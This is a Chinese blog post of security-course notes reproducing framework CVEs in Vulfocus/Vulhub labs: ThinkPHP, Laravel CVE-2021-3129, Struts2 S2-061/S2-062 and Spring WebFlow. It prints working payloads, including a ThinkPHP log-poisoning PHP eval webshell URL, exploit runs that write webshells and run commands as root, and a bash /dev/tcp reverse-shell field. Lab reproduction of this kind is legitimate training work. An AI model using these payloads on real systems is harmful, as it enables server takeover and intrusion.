【小迪安全2023】第62天:服务攻防-框架安全&CVE复现&Spring&Struts&Laravel&ThinkPHP

复制代码
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

[0x1 大纲](#0x1 大纲)

[0x2 知识点:](#0x2 知识点:)

[0x3 案例分析](#0x3 案例分析)

1、PHP-开发框架安全-Thinkphp&Laravel

[thinkphp3.2.x 代码执行](#thinkphp3.2.x 代码执行)

[ThinkPHP5 5.0.23](#ThinkPHP5 5.0.23)

laravel-cve_2021_3129

2、JAVAWEB-开发框架安全-Spring&Struts2

[strust2 CVE-2020-17530](#strust2 CVE-2020-17530)

[strust2 CVE_2021_31805](#strust2 CVE_2021_31805)

3、spring框架

[spring 代码执行 (CVE-2017-4971)](#spring 代码执行 (CVE-2017-4971))


0x1 大纲

0x2 知识点:

中间件及框架列表:

java 复制代码
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

cs 复制代码
常见语言开发框架:
**PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
 
#章节内容:
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
 
#前置知识:
-中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
 
#应用服务安全测试流程:见图**
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
 
#开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式
 
什么是框架:
框架是一个别人写好的成品,要实现什么功能就可以调用里面的内置函数来实现这个功能的操作。
 
一个网站的源码应用,比如:实现文件上传功能
1.源码采用框架开发的
完全依赖于框架自身的安全机制,安不安全完全取决于这个框架。
比较简单,方便。
 
2.源码采用原生态开发的
整个的文件上传功能都是自己写的,自己控制,自己过滤。
比较复杂,需要从0开始。

0x3 案例分析

1、PHP-开发框架安全-Thinkphp&Laravel

听课前,先给师傅们分享个非常好用。功能很齐全的一个图形化武器库(武器库太牛了,我都想请它吃饭了)

java 复制代码
图形化渗透测试武器库 V6.1 by安全圈小王子:
链接:https://pan.baidu.com/s/1goi2IBZaJwRWe2qCLO37ig?pwd=bxsi
提取码:bxsi
thinkphp3.2.x 代码执行

我们这里直接使用thinkphp漏洞利用1.2版本的工具

靶场环境:Vulfocus 漏洞威胁分析平台

我们访问靶场,然后可以使用wappalyzer插件检测出来是ThinkPHP框架,也可以在网站数据包中找到ThinkPHP关键字

我们直接利用这个工具进行命令执行,然后访问下面的http地址,再右击查看源代码就可以找到flag,也就是命令执行的内容了

如何getshell

请求地址的时候会写入日志文件

cs 复制代码
http://123.58.224.8:41855//?m=Home&c=Index&a=index&value[_filename]=./<?php eval($_REQUEST['a']);?>

日志文件的地址

cs 复制代码
http://123.58.224.8:41855//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/24_05_08.log

可以看到我们的木马文件写入成功了

然后再连接蚁剑即可

手工注入

参考文献:【漏洞通报】ThinkPHP3.2.x RCE漏洞通报

ThinkPHP5 5.0.23

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

靶场环境搭建:

Vulhub - Docker-Compose file for vulnerability environment

先切换到vulhub-master/thinkphp/5.0.23-rce目录下,然后输入:

cs 复制代码
┌──(root💀kali)-[~/桌面/vulhub-master/thinkphp/5.0.23-rce]
└─# docker-compose up -d

使用工具直接检测出来这个漏洞,然后命令执行

laravel-cve_2021_3129

描述:

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

靶场环境:

Vulfocus 漏洞威胁分析平台

插件检测:

漏洞EXP如下:

GitHub - ajisai-babu/CVE-2021-3129-exp: Laravel Debug mode RCE漏洞(CVE-2021-3129)poc / exp

cs 复制代码
# poc
python CVE-2021-3129.py -u http://xxxxx.com 
[✅]检测到漏洞![🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64

# exp
python CVE-2021-3129.py -u http://xxxxx.com --exp                     
[✅]检测到漏洞![🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64 
[OK] 成功写入webshell, 访问地址 http://xxxxx.com/shell.php , 密码 whoami

# proxy
python CVE-2021-3129.py -u http://xxxxx.com/ -p socks5://127.0.0.1:7890
python CVE-2021-3129.py -u http://xxxxx.com/ --exp -p socks5://127.0.0.1:7890

这里直接演示利用这个exp写入webshell,然后getshell操作

2、JAVAWEB-开发框架安全-Spring&Struts2

strust2:是一个基于 MVC 设计模式的 Web 应用框架

靶场环境:

Vulfocus 漏洞威胁分析平台

如何判断用的是strust2,如果后缀是action

20年以前的漏洞都可以直接利用工具利用

用工具直接可以检测出来,然后命令执行成功,成功拿到了flag

strust2 CVE-2020-17530

靶场环境:

Vulfocus 漏洞威胁分析平台

执行脚本如下:

https://github.com/wuzuowei/CVE-2020-17530

cs 复制代码
┌──(root💀kali)-[~/桌面/CVE-2020-17530-main]
└─# python3 struts2-061-poc.py http://123.58.224.8:54127 "ls /tmp"                                                                                                     3 ?
+------------------------------------------------------------+
+   PoC: python struts2-061-poc.py http://1.1.1.1:8081 id    +
+                VER: Struts 2.0.0-2.5.25                    +
+------------------------------------------------------------+
+               S2-061 RCE && CVE-2020-17530                 +
+------------------------------------------------------------+
flag-{bmh4d63bd20-6555-463f-adff-c412e642d557}
hsperfdata_root

                                                                                                                                                                           
┌──(root💀kali)-[~/桌面/CVE-2020-17530-main]
└─# python2 S2-061-shell.py http://123.58.224.8:54127                                                                                                                  
Please input your listening ip:
10.10.10.128
Please input your listening port:
4444
strust2 CVE_2021_31805

脚本地址:

https://github.com/pyroxenites/s2-062

这里使用docker搭建的环境,开始使用vulfocus.cn上的靶场环境一直执行不了EXP

cs 复制代码
┌──(root💀kali)-[~/桌面/s2-062-main]
└─# python3 s2-062.py --url http://10.10.10.128:8080 --cmd whoami                                                                                                      
命令回显
root

                                                                                                                                                                           
┌──(root💀kali)-[~/桌面/s2-062-main]
└─# python3 s2-062.py --url http://10.10.10.128:8080 --cmd id                                                                                                         
命令回显
uid=0(root) gid=0(root) groups=0(root)

3、spring框架

spring本身漏洞不多,大部分漏洞都在他的一些分支上

spring 代码执行 (CVE-2017-4971)

漏洞环境:

Vulfocus 漏洞威胁分析平台

漏洞测试参考文档:

Vulhub - Docker-Compose file for vulnerability environment

用官方给的账号密码登录进去

然后访问http://123.58.224.8:17210/hotels/1,预定id为1的 酒店

点击预订按钮"Book Hotel",填写相关信息后点击"Process"(从这一步,其实WebFlow就正式开始了):

再点击确认"Confirm":

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC)

不过这里的csrf值需要修改(这里是你开始抓包默认的,都不一样)

cs 复制代码
_eventId_confirm=&_csrf=xxxxxxx&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/4444+0>%261")).start()=vulhub
相关推荐
BingoGo8 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack8 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher21 小时前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
NE_STOP2 天前
springMVC-HTTP消息转换器与文件上传、下载、异常处理
spring
JaguarJack2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JavaGuide3 天前
Claude Opus 4.6 真的用不起了!我换成了国产 M2.5,实测真香!!
java·spring·ai·claude code
玹外之音3 天前
Spring AI MCP 实战:将你的服务升级为 AI 可调用的智能工具
spring·ai编程